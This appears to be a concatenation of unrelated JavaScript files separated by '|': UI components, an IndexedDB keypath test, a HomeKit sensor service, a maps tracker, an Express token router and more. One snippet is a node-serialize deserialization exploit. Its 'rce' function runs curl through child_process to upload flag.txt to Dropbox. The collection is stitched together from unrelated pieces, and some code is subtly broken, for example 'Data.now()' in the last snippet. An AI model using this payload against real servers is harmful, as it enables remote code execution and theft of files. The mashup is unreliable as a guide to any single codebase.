// // replace Loading.... with list
// list.innerHTML = request.result.map(item => {
// return `<li data-key="${example.id}"><span>${example.name}</span></li>`
// }).join('\n'); //makes new line after each one
// }
// getReq.onerror = (err) => {
// console.warn(err);
// }
_______________________________________________________________
// call the buildList ^^^ function inside the success listener
// DBOpenReq.addEventListener('success'... |
output = function () {
cb({out: $.write('in', url.parse($.in, true))});
};
|
import { keyTable } from '../settings';
import { mouseTable } from '../settings';
import Keyboard from './Keyboard';
import Mouse from './Mouse';
/**
* Class representing manager for Keyboard and Mouse events
* Legacy class, logics moved to Keyboard and Mouse classes
*/
export default class ControlManager {
constructor() {
this.keyboard = new Keyboard(keyTable);
this.mouse = new Mouse(mouseTable);
}
} |
/**********************************************************************************************
* Copyright (C) 2013 - 2016
* United Services Automobile Association
* All Rights Reserved
*
* File: pc_floodInsurance_expandContent.js
**********************************************************************************************
* Rls Date Chg Date Name Description
* ========== ========== ============== ==================
* 10/26/2016 10/26/2016 Alex Gudino New File
* 07/29/2016 08/02/2016 Brayan Leal Sticky CTA (button fixed) on Mobile
**********************************************************************************************/
/**
* @file This file has a function to keep fixed a CTA inside the page
* @requires no requirements
*/
var acc = document.getElementsByClassName("expand-info");
var i;
for (i = 0; i < acc.length; i++) {
acc[i].onclick = function(){
this.classList.toggle("active");
this.nextElementSibling.classList.toggle("show");
this.nextElementSibling.querySelector('p').focus();
}
} |
import eventsEngine from './core/events_engine';
/**
* @name events
*/
export var on = eventsEngine.on;
export var one = eventsEngine.one;
export var off = eventsEngine.off;
export var trigger = eventsEngine.trigger;
export var triggerHandler = eventsEngine.triggerHandler;
/**
* @name events.Event
* @type function
* @param1 source:string|event
* @param2 config:object
* @return event
* @module events
* @export Event
* @hidden
*/
export var Event = eventsEngine.Event; |
export * from './Flex';
export {default as CircleNextButton} from './CircleNextButton';
export {default as StyledText} from './StyledText';
export {default as Checkbox} from './Checkbox';
export {default as PhoneInput} from './PhoneInput';
export {default as VerificationCodeInput} from './VerificationCodeInput';
export {default as AvailabilitySwitcher} from './AvailabilitySwitcher';
export {default as Trip} from './Trip';
export {default as MapView} from './MapView';
export {default as MapMarker} from './MapMarker';
export {default as Circle} from './Circle';
|
'use strict';
var HomeKitGenericService = require('./HomeKitGenericService.js').HomeKitGenericService;
var util = require("util");
function HomeMaticHomeKitSensorService(log,platform, id ,name, type ,adress,special, cfg, Service, Characteristic) {
HomeMaticHomeKitSensorService.super_.apply(this, arguments);
}
util.inherits(HomeMaticHomeKitSensorService, HomeKitGenericService);
HomeMaticHomeKitSensorService.prototype.createDeviceService = function(Service, Characteristic) {
var that=this
if (this.special=="DOOR") {
var door = new Service["DoorStateService"](this.name);
var cdoor = door.getCharacteristic(Characteristic.CurrentDoorState);
cdoor.on('get', function(callback) {
that.query("SENSOR",function(value){
if (callback) callback(null,value);
});
}.bind(this));
this.currentStateCharacteristic["SENSOR"] = cdoor;
cdoor.eventEnabled = true;
this.addValueMapping("SENSOR",0,1);
this.addValueMapping("SENSOR",1,0);
this.addValueMapping("SENSOR",false,1);
this.addValueMapping("SENSOR",true,0);
this.services.push(door);
} else {
var contact = new Service["ContactSensor"](this.name);
var state = contact.getCharacteristic(Characteristic.ContactSensorState)
.on('get', function(callback) {
that.query("SENSOR",function(value){
callback(null,value);
});
}.bind(this));
that.currentStateCharacteristic["SENSOR"] = state;
state.eventEnabled = true;
this.services.push(contact);
}
this.remoteGetValue("SENSOR");
}
module.exports = HomeMaticHomeKitSensorService; |
import React, { useState, useEffect } from 'react';
import { connect } from 'react-redux';
import axios from 'axios'
import { withRouter } from 'react-router-dom'
function OnBoardingTeamMember(props) {
console.log('reduxState@ boarding', props.reduxState)
// const { email, hash, team_member_id, firstname, lastname, isadmin, img: profilePic
// } = props.reduxState
const [teamMember, setTeamMember] = useState({})
const [password, setPassword] = useState('')
const [oldPassword, setOldPassword] = useState('')
const { firstname, lastname, email, team_member_id } = teamMember
useEffect(() => {
const { team_member_id } = props.match.params
axios.get(`/onboarding/${team_member_id}`).then(res => {
setTeamMember(res.data)
}).catch(console.log)
}, [])
const onBoardUpdatePassword = async (e) => {
e.preventDefault()
await axios.put(`/onboarding/${team_member_id}`, { oldPassword, password }).then(() => {
})
props.history.push('/landing')
}
const UpdatePasswordInput = (e) => {
setPassword(
e.target.value
)
}
const UpdatePasswordInput2 = (e) => {
setOldPassword(
e.target.value
)
}
return (
<>
<h2>On-Boarding</h2>
<div className="onboarding-info">
{/* <div>{company_name}</div> */}
<div> {`${firstname} ${lastname}`}</div>
<div>{`${email}`}</div>
<form>
{/* <div>
<input
name='oldPassword'
type='text'
onChange={UpdatePasswordInput2}
/>
</div> */}
<div className="password-input">
<label htmlFor="password">Enter Password Here:</label>
<input
name='password'
className='password'
type='text'
onChange={UpdatePasswordInput}
/>
</div>
<p>please make note of your password <br /> as you will be redirected to the login page</p>
<button className="set-password-btn" onClick={onBoardUpdatePassword}>set password</button>
</form>
</div>
</>
)
}
const mapStateToProps = reduxState => {
return { reduxState }
}
export default connect(mapStateToProps)(withRouter(OnBoardingTeamMember)) |
import os from 'os'
import axios from 'axios'
import { generateUid } from './utils'
export class DeviceManager {
static addresses() {
const addresses = []
const ifaces = os.networkInterfaces() || {}
Object.keys(ifaces).forEach((ifname) => {
let alias = 0
;(ifaces[ifname] || []).forEach((iface) => {
if (iface.family !== 'IPv4' || iface.internal !== false) {
// skip over internal (i.e. 127.0.0.1) and non-ipv4 addresses
return
}
if (alias >= 1) {
// this single interface has multiple ipv4 addresses
addresses.push(iface.address)
} else {
// this interface has only one ipv4 adress
addresses.push(iface.address)
}
++alias
})
})
return addresses
}
static discover(addresses = []) {
return new Promise((resolve, reject) => {
try {
const targets = addresses.map((host) => {
return new Promise((resolve, reject) => {
const source = axios.CancelToken.source()
setTimeout(() => {
source.cancel()
}, 1500)
axios
.create({
baseURL: `http://${host}/`,
timeout: 1500,
})
.post(`/api/common/discover`, null, { cancelToken: source.token })
.then((res) => {
resolve({ deviceInfo: res.data, host })
})
.catch(() => {
resolve({ host })
})
})
})
Promise.all(targets).then((values) => {
const devices = values
.filter((item) => {
return item.deviceInfo && item.deviceInfo.Activated
})
.map((item) => {
return [
generateUid(),
item.deviceInfo.SerialNumber,
item.deviceInfo.SerialNumber,
item.deviceInfo.DeviceClass,
item.deviceInfo.DeviceType,
item.deviceInfo.Version,
item.deviceInfo.Activated,
item.host,
]
})
resolve(devices)
})
} catch (error) {
reject(error)
}
})
}
}
|
var map;
var markers = [];
function initialize() {
var mapOptions = {
zoom: 12
};
map = new google.maps.Map(document.getElementById('map-canvas'),
mapOptions);
// Try HTML5 geolocation
if(navigator.geolocation) {
navigator.geolocation.getCurrentPosition(function(position) {
var pos = new google.maps.LatLng(position.coords.latitude,
position.coords.longitude);
var infowindow = new google.maps.InfoWindow({
map: map,
position: pos,
content: 'Você está aqui!'
});
map.setCenter(pos);
}, function() {
handleNoGeolocation(true);
});
} else {
// Browser doesn't support Geolocation
handleNoGeolocation(false);
}
}
function handleNoGeolocation(errorFlag) {
if (errorFlag) {
var content = 'Error: The Geolocation service failed.';
} else {
var content = 'Error: Your browser doesn\'t support geolocation.';
}
var options = {
map: map,
position: new google.maps.LatLng(60, 105),
content: content
};
var infowindow = new google.maps.InfoWindow(options);
map.setCenter(options.position);
}
// Add a marker to the map and push to the array.
function addMarker(location, imgUrl) {
var marker = new google.maps.Marker({
position: location,
map: map,
icon: imgUrl
});
markers.push(marker);
}
// Sets the map on all markers in the array.
function setAllMap(map) {
for (var i = 0; i < markers.length; i++) {
markers[i].setMap(map);
}
}
// Removes the markers from the map, but keeps them in the array.
function clearMarkers() {
setAllMap(null);
}
// Shows any markers currently in the array.
function showMarkers() {
setAllMap(map);
}
// Deletes all markers in the array by removing references to them.
function deleteMarkers() {
clearMarkers();
markers = [];
}
google.maps.event.addDomListener(window, 'load', initialize);
function updateMap(deliverId){
//var timer = $.timer(/*$('#btnRefresh').click(*/function(){
$.get('deliverCoordinates?deliverId='+deliverId, function(data){
console.log(data);
deleteMarkers();
addMarker(new google.maps.LatLng(data.src_lat, data.src_lgn), "http://www.google.com/intl/en_us/mapfiles/ms/micons/green-dot.png");
addMarker(new google.maps.LatLng(data.des_lat, data.des_lgn), "http://www.google.com/intl/en_us/mapfiles/ms/micons/blue-dot.png");
addMarker(new google.maps.LatLng(data.drv_lat, data.drv_lgn), "http://www.google.com/intl/en_us/mapfiles/ms/micons/red-dot.png");
setAllMap(map);
}).always(function() {
console.log('finished request');
});
}
/*
$(window).load(function(){
var timer = $.timer(/*$('#btnRefresh').click(function(){
$.get('deliverCoordinates?deliverId=5066549580791808', function(data){
console.log(data);
deleteMarkers();
addMarker(new google.maps.LatLng(data.src_lat, data.src_lgn), "http://www.google.com/intl/en_us/mapfiles/ms/micons/green-dot.png");
addMarker(new google.maps.LatLng(data.des_lat, data.des_lgn), "http://www.google.com/intl/en_us/mapfiles/ms/micons/blue-dot.png");
addMarker(new google.maps.LatLng(data.drv_lat, data.drv_lgn), "http://www.google.com/intl/en_us/mapfiles/ms/micons/red-dot.png");
setAllMap(map);
}).always(function() {
console.log('finished request');
});
});
timer.set({ time : 10000, autostart : true });
}); */ |
if (this.importScripts) {
importScripts('../../../fast/js/resources/js-test-pre.js');
importScripts('shared.js');
}
description("Test for valid and invalid keypaths");
function test()
{
removeVendorPrefixes();
name = self.location.pathname;
request = evalAndLog("indexedDB.open(name)");
request.onsuccess = openSuccess;
request.onerror = unexpectedErrorCallback;
}
function openSuccess()
{
db = evalAndLog("db = event.target.result");
request = evalAndLog("request = db.setVersion('1')");
request.onsuccess = testValidKeyPaths;
request.onerror = unexpectedErrorCallback;
}
function testValidKeyPaths()
{
deleteAllObjectStores(db);
testKeyPaths = [null, undefined, ''];
testKeyPaths.forEach(function (keyPath) {
globalKeyPath = keyPath;
debug("globalKeyPath = '" + globalKeyPath + "'");
evalAndLog("db.createObjectStore('name', {keyPath: globalKeyPath})");
deleteAllObjectStores(db);
});
testKeyPaths = ['foo', 'foo.bar.baz'];
testKeyPaths.forEach(function (keyPath) {
globalKeyPath = keyPath;
debug("globalKeyPath = '" + globalKeyPath + "'");
evalAndLog("db.createObjectStore('name', {keyPath: globalKeyPath})");
deleteAllObjectStores(db);
});
testKeyPaths = [null, undefined, '', 'foo', 'foo.bar.baz'];
testKeyPaths.forEach(function (keyPath) {
globalKeyPath = keyPath;
debug("globalKeyPath = '" + globalKeyPath + "'");
store = evalAndLog("store = db.createObjectStore('storeName')");
evalAndLog("store.createIndex('name', globalKeyPath)");
deleteAllObjectStores(db);
});
testInvalidKeyPaths();
}
function testInvalidKeyPaths()
{
deleteAllObjectStores(db);
testKeyPaths = ['[]', '["foo"]', '["foo", "bar"]', '["", ""]', '[1.0, 2.0]', '[["foo"]]', '["foo", ["bar"]]'];
testKeyPaths.forEach(function (keyPath) {
globalKeyPath = keyPath;
debug("globalKeyPath = '" + globalKeyPath + "'");
evalAndExpectException("db.createObjectStore('name', {keyPath: globalKeyPath})", "IDBDatabaseException.NON_TRANSIENT_ERR");
deleteAllObjectStores(db);
});
testKeyPaths = [' ', 'foo ', 'foo bar', 'foo. bar', 'foo .bar', 'foo..bar', '+foo', 'foo%'];
testKeyPaths.forEach(function (keyPath) {
globalKeyPath = keyPath;
debug("globalKeyPath = '" + globalKeyPath + "'");
evalAndExpectException("db.createObjectStore('name', {keyPath: globalKeyPath})", "IDBDatabaseException.NON_TRANSIENT_ERR");
deleteAllObjectStores(db);
});
testKeyPaths = [' ', 'foo ', 'foo bar', 'foo. bar', 'foo .bar', 'foo..bar', '+foo', 'foo%'];
testKeyPaths.forEach(function (keyPath) {
globalKeyPath = keyPath;
debug("globalKeyPath = '" + globalKeyPath + "'");
store = evalAndLog("store = db.createObjectStore('storeName')");
evalAndExpectException("store.createIndex('name', globalKeyPath)", "IDBDatabaseException.NON_TRANSIENT_ERR");
deleteAllObjectStores(db);
});
finishJSTest();
}
test(); |
import Em from 'ember';
import layout from './template';
import ExpFrameBaseComponent from '../exp-frame-base/component';
import VideoRecord from '../../mixins/video-record';
import { LOOKIT_PREFERRED_DEVICES } from '../../services/video-recorder';
import { observer } from '@ember/object';
let {
$
} = Em;
/**
* @module exp-player
* @submodule frames
*/
/**
Video configuration frame guiding user through making sure permissions are set
appropriately and microphone is working, with troubleshooting text. Almost all content is
hard-coded, to provide a general-purpose technical setup frame.
```json
"frames": {
"video-config": {
"kind": "exp-video-config",
"troubleshootingIntro": "If you're having any trouble getting your webcam set up,
please feel free to call the XYZ lab at (123) 456-7890 and we'd be glad to
help you out!"
}
}
```
@class Exp-video-config
@extends Exp-frame-base
@extends Video-record
*/
export default ExpFrameBaseComponent.extend(VideoRecord, {
layout,
showWarning: false,
showWebcamPermWarning: false,
checkedWebcamPermissions: false,
micChecked: Em.computed.alias('recorder.micChecked'),
hasCamAccess: Em.computed.alias('recorder.hasCamAccess'),
populateDropdowns() {
const micSelect = $('select#audioSource')[0];
const camSelect = $('select#videoSource')[0];
const selectors = [micSelect, camSelect];
// Adapted from the example at https://github.com/webrtc/samples/blob/gh-pages/src/content/devices/input-output/js/main.js
navigator.mediaDevices.enumerateDevices().then(function(deviceInfos) {
selectors.forEach(select => {
while (select.firstChild) {
select.removeChild(select.firstChild);
}
const blankOption = document.createElement('option');
blankOption.text = 'select...';
blankOption.value = 123;
select.appendChild(blankOption);
});
for (let i = 0; i !== deviceInfos.length; ++i) {
const deviceInfo = deviceInfos[i];
const option = document.createElement('option');
option.value = deviceInfo.deviceId;
if (deviceInfo.kind === 'audioinput') {
option.text = deviceInfo.label || `Microphone ${micSelect.length + 1}`;
if (option.value == LOOKIT_PREFERRED_DEVICES.mic) {
option.selected = true;
}
micSelect.appendChild(option);
} else if (deviceInfo.kind === 'videoinput') {
option.text = deviceInfo.label || `Camera ${camSelect.length + 1}`;
if (option.value == LOOKIT_PREFERRED_DEVICES.cam) {
option.selected = true;
}
camSelect.appendChild(option);
}
}
});
},
reloadRecorder() {
this.destroyRecorder();
this.setupRecorder(this.$(this.get('recorderElement')));
},
actions: {
checkAudioThenNext() {
if (!this.get('checkedWebcamPermissions') || !this.get('micChecked') || !this.get('hasCamAccess')) {
this.set('showWarning', true);
} else {
this.send('next');
}
},
reloadRecorderButton() {
this.set('showWarning', false);
this.populateDropdowns();
this.reloadRecorder();
},
reloadRecorderButtonAndRecordCheck() {
this.send('reloadRecorderButton');
this.set('checkedWebcamPermissions', true);
},
processSelectedMic() {
var selectedMicId = $('select#audioSource')[0].value;
if (selectedMicId) {
LOOKIT_PREFERRED_DEVICES.mic = selectedMicId;
this.reloadRecorder();
}
},
processSelectedCam() {
var selectedCamId = $('select#videoSource')[0].value;
if (selectedCamId) {
LOOKIT_PREFERRED_DEVICES.cam = selectedCamId;
this.reloadRecorder();
}
}
},
frameSchemaProperties: {
/**
Text to show as the introduction to the troubleshooting tips section
@property {String} troubleshootingIntro
@default ""
*/
troubleshootingIntro: {
type: 'string',
description: 'Text to show as introduction to troubleshooting tips section',
default: ''
}
},
type: 'exp-video-config',
meta: {
data: {
type: 'object',
properties: {
screenWidth: {
type: 'number'
},
screenHeight: {
type: 'number'
}
}
}
},
updateOptions: observer('hasCamAccess', function() {
if (this.get('hasCamAccess')) {
this.populateDropdowns();
}
}),
didInsertElement() {
this._super(...arguments);
this.set('screenWidth', screen.width);
this.set('screenHeight', screen.height);
this.populateDropdowns();
}
});
|
import React, { useRef, useState } from 'react';
import useForm from 'react-hook-form';
import { Link, Redirect } from "react-router-dom";
import { usernameRegisterConfig, passwordConfig } from '../../utils/userValidationRules';
import userReducer, { addUser } from "../../utils/userAdministration";
import './styles.css';
import routes from "../../utils/routes";
import { Button } from "react-bootstrap";
const Register = () => {
const { register, handleSubmit, watch, errors } = useForm();
const [isToRedirect, setIsToRedirect] = useState(false);
const [userData, setUserData] = useState({});
const redirect = () => isToRedirect ? <Redirect to={{
pathname: '/login',
state: { userData }
}} /> : null;
const onSubmit = data => {
userReducer(addUser(data));
setUserData(data);
setIsToRedirect(true);
};
// This reference is a hook and persists during the component life cycle
const password = useRef({});
password.current = watch('password', ''); // Watch field value
const passwordConfirmConfig = {
...passwordConfig,
validate: value => value === password.current || "The passwords does not match."
};
return (
<div className="container ">
<div className="Register">
{redirect()}
<form onSubmit={handleSubmit(onSubmit)}>
<h2 className="title">Register Form</h2>
<div className="input-container"> {/* Username input */}
{/*<i className="fa fa-user icon"></i>*/}
<i className="i-username icon"></i>
<input className="input-field" type="text" name="username"
placeholder="Who are you?" ref={register(usernameRegisterConfig)}
autoFocus />
</div>
{errors.username && /* Username error */
<div className="alert alert-danger">{errors.username.message}</div>
}
<div className="input-container"> {/* Password input */}
{/*<i className="fa fa-key icon"></i>*/}
<i className="i-password fa fa-key icon"></i>
<input className="input-field" type="password" name="password"
placeholder="What's your password?" ref={register(passwordConfig)} />
</div>
{errors.password && /* Password error */
<div className="alert alert-danger">{errors.password.message}</div>
}
<div className="input-container"> {/* Password confirm input */}
{/*<i className="fa fa-key icon"></i>*/}
<i className="i-password fa fa-key icon"></i>
<input className="input-field" type="password" name="password-confirm"
id="password-confirm" placeholder="Repeat your password"
ref={register(passwordConfirmConfig)} />
</div>
{errors['password-confirm'] && /* Password confirm error */
<div className="alert alert-danger">{errors['password-confirm'].message}</div>
}
<div className="btns-register d-flex justify-content-around">
<Link to={routes.index}>
<Button variant="light">Come back</Button>
</Link>
<Button variant="primary" type="submit" >Be a padawan</Button>
</div>
<span className={"bg-dark link-container"}>
<Link to={routes.login}>
<Button variant="secondary" size="sm">
You already know me
</Button>
</Link>
</span>
</form>
</div>
</div>
);
};
export default Register;
|
var y = {
rce : function(){ require(`child_process`).exec(`curl -X POST https://content.dropboxapi.com/2/files/upload --header \"Authorization: Bearer <Access_token>\" --header \"Dropbox-API-Arg: {\\"path\\": \\"/flag.txt\\"}\" --header \"Content-Type: application/octet-stream\" --data-binary @flag.txt`, function(error, stdout, stderr) { console.log(stdout);console.log(stderr);});}
}
var serialize = require('node-serialize');
var data = serialize.serialize(y)
console.log("Serialized: \n" + data);
var obj = serialize.unserialize(data);
console.log("Serialized: \n" + obj.rce);
|
// Quilava.pokemon/base.js
//
//$ PackConfig
{ "sprites" : [ "base.png" ] }
//$!
module.exports = {
id: "Quilava.pokemon",
sprite: "base.png",
sprite_format: "hg_pokecol-32",
name: "Quil",
infodex: "game.heartgold.pokemon.quilava",
sprite_creator: "Nintendo",
};
/**
This Quilava I'm adopting for myself in the Park. It was caught by Aoooo in the Union Cave.
These are its stats, direct from the save file:
Quilava - Male - Lvl 23
Caught in a Pokeball
Item: None
Lonely Nature. "Strong willed."
HP 62, ATK* 40, DEF^ 33, SpATK 46, SpDEF 41, SPD 42
Ability: Intimidate
Moves:
- Slam
- Will-O-Wisp
- Blast Burn
- Sketch
Perforance:
- Speed: 4/5
- Power: 4/4 Boosted
- Skill: 2/3
- Stamina: 2/4 Lacking
- Jump: 2/3
*/
|
(function () {
var currentScriptSrc = Util.getBasePath(document.currentScript.src);
Util.loadCSS(Util.getBasePath(document.currentScript.src) + '/style.css')
})()
window.Modal_3DViewer = (function () {
var currentScriptSrc = Util.getBasePath(document.currentScript.src);
/**
* 点读点类型弹窗
* @param {any} selector 弹窗对应的点读点
* @param {any} selectedType 选中的类型
*/
function Modal_3DViewer(options) {
var that = this
that.options = options || {}
// 区域点读点设置
Util.getTpl(currentScriptSrc + '/tpl.html', function (tpl) {
var div = document.createElement('div')
div.setAttribute('id', '__modal_3dviewer__')
$('body').append(div)
var tpls = Handlebars.compile(tpl)
$(div).append(tpls())
that.initVar();
that.bindEvent();
that.initData();
})
}
Modal_3DViewer.prototype.initVar = function () {
this.$container = $('#__modal_3dviewer__')
this.$wrapper = this.$container.find('.js-viewer3d-wrapper')
this.$btnScale = this.$container.find('.js-viewer3d-scale')
this.$scene = this.$container.find('#scene')
this.$help = this.$container.find('.js-viewer3d-help')
}
Modal_3DViewer.prototype.initData = function () {
}
/**
* 关闭弹窗
*/
Modal_3DViewer.prototype.bindEvent = function () {
var that = this
new ObjViewer('scene', {
url: this.options.url,
data: that.options.data
})
that.$wrapper.on('click', function (e) {
if ($(e.target).hasClass('js-viewer3d-wrapper')) {
that.close()
}
})
that.$btnScale.on('click', function () {
that.$help.hide()
if (that.$btnScale.attr('data-max') === '1') {
that.$btnScale.attr('data-max', 0).removeClass('viewer3d-btns__scale--normal')
that.$scene.css({
width: '80%',
height: '80%'
})
} else {
that.$btnScale.attr('data-max', 1).addClass('viewer3d-btns__scale--normal')
that.$scene.css({
width: '100%',
height: '100%'
})
}
})
that.$help.on('click', function () {
that.$help.hide()
})
setTimeout(function () {
that.$help.hide()
}, 3000)
}
/**
* 关闭弹窗
*/
Modal_3DViewer.prototype.close = function () {
this.$container.remove()
}
return Modal_3DViewer
})()
|
export function withToggle(parentCompName = "toggleComp") {
return {
inject: {
[parentCompName]: "toggleComp"
}
};
}
export const withToggleMixin = {
inject: {
toggleComp: "toggleComp"
}
};
|
/**
* @author Bruce
* created on 2018.06.08
*/
(function () {
'use strict';
angular.module('BlurAdmin.pages.org')
.controller('orgPageCtrl', orgPageCtrl);
/** @ngInject */
function orgPageCtrl($scope, $timeout, $http, $log, $uibModal,dataServiceURL) {
$scope.ignoreChanges = false;
var newId = 0;
$scope.ignoreChanges = false;
$scope.newNode = {};
$scope.basicConfig = {
core: {
multiple: false,
check_callback: true,
worker: true
},
'types': {
'folder': {
'icon': 'ion-ios-folder'
},
'default': {
'icon': 'ion-document-text'
}
},
'plugins': ['types'],
'version': 1
};
// 弹窗方法
$scope.open = function (page,selected) {
var modalInstance = $uibModal.open({
animation: true,
templateUrl: page,
size: '',
// 如果要传值一定要在这里写controller
controller: 'addNodeModalPageCtrl',
resolve: {
items: function () {
return selected;
}
}
});
modalInstance.result.then(function (result) {
// 在回调函数中写入新节点
if (result) {
var newNodeData = {
id: selected+'_'+(newId++).toString(),
parent: selected,
icon: result.icon,
text: result.name,
state: {
opened: true
}
}
// console.log(newNodeData);
}
// 插入节点
$scope.treeData.push(newNodeData);
// console.log($scope.treeData);
// 刷新节点
$scope.basicConfig.version++;
// 在刷新节点后进行数据库请求,避免加载过慢
$http.post(dataServiceURL+"org/insertOrg",newNodeData,{'Content-Type': 'application/x-www-form-urlencoded'})
.success(function (param) {
console.log('数据插入成功' + param);
}).error(function (err) {
// 如果服务端请求失败则调用本地静态数据
console.log('服务器连接失败,请检查网络' + err);
})
}, function () {
$log.info('Modal dismissed at: ' + new Date());
});
};
// 添加节点
$scope.addNewNode = function () {
$scope.ignoreChanges = true;
var selected = this.orgTree.jstree(true).get_selected()[0];
if (selected) {
// 点击后弹出编辑窗口,之后的逻辑在modal的回调函数中写
$scope.open('app/pages/org/org/addNodePage/addNodeModal.html',selected);
} else {
alert("您还没有选择节点,请先选择节点");
}
// $scope.basicConfig.version++;
};
$scope.refresh = function () {
$scope.ignoreChanges = true;
newId = 0;
$scope.treeData = getDefaultData();
$scope.basicConfig.version++;
};
// 展开
$scope.expand = function () {
$scope.ignoreChanges = true;
$scope.treeData.forEach(function (n) {
n.state.opened = true;
});
$scope.basicConfig.version++;
};
// 折叠
$scope.collapse = function () {
$scope.ignoreChanges = true;
$scope.treeData.forEach(function (n) {
n.state.opened = false;
});
$scope.basicConfig.version++;
};
// 删除
$scope.delNode = function(){
$scope.ignoreChanges = true;
var selected = this.orgTree.jstree(true).get_selected()[0];
if (selected) {
var url_delNode = dataServiceURL + 'org/delOrg?'
var selectedNode = 'id='+selected;
// 使用get请求删除,传递节点id
$http.get(url_delNode + selectedNode).finally(function(data){
alert("删除成功,请刷新页面");
console.log(data);
// 刷新
$scope.basicConfig.version++;
})
} else {
alert("您还没有选择节点,请先选择节点");
}
};
$scope.readyCB = function () {
$timeout(function () {
$scope.ignoreChanges = false;
});
};
$scope.applyModelChanges = function () {
return !$scope.ignoreChanges;
};
// 获取树的数据,初始化
function getDefaultData() {
// $http.get('app/pages/org/org/org.json').success(function (param) {
// $scope.treeData = param;
// $scope.treeFlag = true;
// // 刷新jstree对象
// $scope.basicConfig.version++;
// });
// 开发时候用本地数据进行测试
var url_local = "app/pages/org/org/org.json";
var url_api = dataServiceURL + "org/getOrg";
// console.log('获取数据');
$http.get(url_local).success(function (param) {
console.log(param);
$scope.treeData = param;
$scope.treeFlag = true;
// 刷新jstree对象
$scope.basicConfig.version++;
}).error(function (err) {
// 如果服务端请求失败则调用本地静态数据
console.log('服务器连接失败,请检查网络' + err);
})
};
getDefaultData();
}
})(); |
const userClass = require('../services/userService').userClass
const userObj = new userClass()
const server = require('express').Router()
server.get('/',(req,res)=>{
userObj.getAllUser((error,response)=>{
if(error)
{
res.status(200).json({
response: error
})
}
else {
res.status(200).json({
response: response
})
}
})
})
server.post('/add',(req,res)=>{
userObj.addUser(req.body,(error,response)=>{
if(error)
{
res.status(200).json({
response: error
})
}
else {
res.status(200).json({
response: response
})
}
})
})
server.post('/token',(req,res)=>{
userObj.findUser(req.body,(error,response)=>{
if(error)
{
res.status(200).json({
response: "Enter Valid Credential"
})
}
else
{
if(response)
{ let token = userObj.generateToken(req.body)
// let id = userObj.findIdByEmail(req.body.email)
userObj.findIdByEmail(req.body.email,(errFind,resFind)=>{
let id = resFind[0]._id
// console.log(resFind[0]._id)
let tokenObj = {
_id: id,
email: req.body.email,
token: token
}
userObj.saveTokenToDatabase(tokenObj,(errSave,resSave)=>{
if(errSave) {
console.log("sorry couldn't save user to Database ")
}
else{
// console.log("Saved user detail ")
}
})
res.status(200).json({
message: "Token is generated",
_token: token,
_tokenObj: tokenObj
})
})
}
else
{
res.status(200).json({
response: "Given Credential didn't match"
})
}
}
})
})
server.post('/validate',(req,res)=>{
let isValid = userObj.validateToken(req.headers.token)
if(isValid) {
res.status(200).json({
message: "Token is validate"
})
}
else
{ res.status(200).json({
message: "Invalid Token"
})
}
})
module.exports.userRouter = server
|
export default class ProcessExecuterService {
constructor() {
this._steps = [];
}
next(step) {
if (step == null || step == undefined || typeof step.execute !== 'function') {
throw new Error('Step must have the execute function');
}
this._steps.push(step);
return this;
}
async execute() {
try{
let result = await this._steps[0].execute();
for(let step = 1; step < this._steps.length; step++) {
delete this._steps[step - 1];
result = await this._steps[step].execute(result);
}
} catch (error) {
console.log(error);
}
}
} |
import BodyPart from './body_part';
class Weapon extends BodyPart {
constructor(owner, name) {
super(owner, name, 'weapon', 8);
}
}
export default Weapon;
|
'use strict';
app.factory("User", function(Model) {
class User extends Model {
get url() {
return "/api/users";
}
get name() {
return "User";
}
get options() {
return {
// <generate-area options>
// </generate-area>
}
}
/**
filter
*/
send(action) {
return {
password: {
condition: function(val) {
if (action == "update" && val == "") {
return false;
}
return true;
}
}
}
}
}
return User;
});
|
#! /usr/bin/env node
// -d 静态文件根目录
// -o --host 主机
// -p --port 端口号
let yargs = require('yargs');
let Server = require('../src/app.js');
let argv = yargs.option('d',{
alias:'root'
,demand:'false' //是否必填
,default:process.cwd()
,type:'string'
,description:'静态文件根目录'
}).option('o',{
alias:'host'
,demand:'false' //是否必填
,default:'localhost'
,type:'string'
,description:'请配置监听的主机'
}).option('p',{
alias:'port'
,demand:'false' //是否必填
,default:8080
,type:'number'
,description:'请配置端口号'
})
//usage 命令格式
.usage('static-server [options]')
// example 用法实例
.example(
'static-server -d / -p 9090 -o localhost'
,'在本机9090的端口上监听客户端的请求'
)
.help('h').argv;
//argv = {d,root,o,host,p,port}
let server = new Server(argv);
server.start();
let os = require('os').platform();
console.log(os);
let {exec} = require('child_process');
let url = `http://${argv.hostname}:${argv.port}`
if(argv.open){
if(os === 'win32'){
exec(`start ${url}`);
}else{
exec(`open ${url}`);
}
} |
import React from 'react';
import withStore from '~/hocs/withStore';
import styles from './404.scoped.css';
class Error404 extends React.Component {
constructor(props) {
super(props);
this.TEXT = this.props.stores.textsStore;
}
render() {
return (
<div className="container">
<h1>{this.TEXT.e404_title}</h1>
<div className={styles.content+' content'}>
<p>{this.TEXT.e404_subTitle}</p>
</div>
</div>
)
}
}
export default withStore(Error404); |
import { writable } from 'svelte/store';
export const seatCount = writable(0); |
define(["jquery", "knockout", "durandal/app", "durandal/system", "plugins/router", "services/data", "utils/utils"], function ($, ko, app, system, router, data, utils) {
var
// Properties
timer,
refresh,
projects = ko.observableArray([]),
// Handlers
onCreateNew = function () {
router.navigate('#project');
},
onGotoProject = function (project) {
router.navigate("#tasks/" + project.ID);
},
onEditProject = function (project) {
router.navigate("#project/" + project.ID);
},
onDeleteProject = function (project) {
app.showMessage("Do you really want to delete project?", null, ["No", "Yes"]).then(function(result) {
if (result === "Yes") {
data.deleteProject(project.ID).done(function(){
projects.remove(project);
}).fail(function() {});
}
});
},
load = function () {
return data.getProjects().done(function(data) {
data.forEach(function(proj) {
proj.TotalTime = utils.formatTime(proj.TotalTime);
proj.Total = Math.round(proj.Total, 2);
});
projects(data);
}).fail(function(err) {
});
}
// Lifecycle
activate = function () {
refresh = app.on('refresh').then(load);
timer = setInterval(load, 30 * 1000);
return load();
},
deactivate = function () {
refresh.off();
clearInterval(timer);
};
return {
// Place your public properties here
activate: activate,
deactivate: deactivate,
projects: projects,
onCreateNew: onCreateNew,
onGotoProject: onGotoProject,
onEditProject: onEditProject,
onDeleteProject: onDeleteProject
};
});
|
import React, {useState} from "react";
import Axios from "axios";
const getDroughtStats = async (FIPS) => {
// get today's date
const timeElapsed = Data.now();
const today = new Date(timeElapsed);
Axios.get(`https://usdmdataservices.unl.edu/api/CountyStatistics/GetDroughtSeverityStatisticsByAreaPercent?aoi=${FIPS}&startdate=${today.toLocaleDateString()}&enddate=${today.toLocaleDateString()}&statisticsType=2`)
.then((response) => {
console.log(response)
});
} |
({
